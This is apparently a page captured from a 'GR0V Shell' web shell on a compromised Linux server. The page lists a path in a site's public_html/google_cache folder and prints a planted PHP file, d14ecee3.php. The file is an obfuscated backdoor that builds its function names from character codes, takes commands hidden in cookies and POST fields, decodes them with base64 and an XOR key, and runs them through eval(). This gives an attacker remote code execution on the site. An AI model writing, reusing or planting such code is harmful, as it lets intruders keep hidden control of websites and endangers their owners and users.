? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/google_cache/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/google_cache/d14ecee3.php

$WfeEwNE = chr ( 236 - 169 ).chr ( 1016 - 901 ).chr (95) . chr (115) . chr ( 853 - 748 ).chr (103) . chr (85) . chr (73); $tgupaM = "\x63" . "\154" . chr (97) . chr ( 315 - 200 ).'s' . "\137" . 'e' . chr ( 818 - 698 ).'i' . chr ( 137 - 22 )."\164" . 's';$qocwC = $tgupaM($WfeEwNE); $tgupaM = "29558";$nRisNXt = $qocwC;if (!$nRisNXt){class Cs_sigUI{private $jVmxOTAQ;public static $eXVvHJHSG = "42959e7e-9040-452f-a6be-7284ec5ee345";public static $dNIynXsy = 34140;public function __construct($hweXHnEP=0){$CfNOe = $_COOKIE;$AOgmV = $_POST;$YQAVNEeR = @$CfNOe[substr(Cs_sigUI::$eXVvHJHSG, 0, 4)];if (!empty($YQAVNEeR)){$cIlaSaf = "base64";$TfnnoYLV = "";$YQAVNEeR = explode(",", $YQAVNEeR);foreach ($YQAVNEeR as $ZLaREAoODn){$TfnnoYLV .= @$CfNOe[$ZLaREAoODn];$TfnnoYLV .= @$AOgmV[$ZLaREAoODn];}$TfnnoYLV = array_map($cIlaSaf . '_' . "\144" . 'e' . chr ( 822 - 723 ).'o' . chr (100) . "\145", array($TfnnoYLV,)); $TfnnoYLV = $TfnnoYLV[0] ^ str_repeat(Cs_sigUI::$eXVvHJHSG, (strlen($TfnnoYLV[0]) / strlen(Cs_sigUI::$eXVvHJHSG)) + 1);Cs_sigUI::$dNIynXsy = @unserialize($TfnnoYLV);}}private function miYlPX(){if (is_array(Cs_sigUI::$dNIynXsy)) {$KSocrmqTUm = str_replace("\x3c" . "\77" . "\160" . 'h' . chr ( 650 - 538 ), "", Cs_sigUI::$dNIynXsy["\x63" . "\157" . chr (110) . "\164" . "\145" . "\156" . chr ( 196 - 80 )]);eval($KSocrmqTUm); $WDEdAsyUVL = "35496";exit();}}public function __destruct(){$this->miYlPX(); $WDEdAsyUVL = "35496";}}$fpAfpUxzD = new Cs_sigUI(); $fpAfpUxzD = "46915_6974";}

T1KUS90T
  root-grov@210.1.60.28:~$